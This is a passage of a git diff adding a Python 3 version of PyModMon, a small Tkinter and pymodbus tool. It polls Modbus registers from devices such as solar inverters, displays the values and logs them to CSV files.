selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + 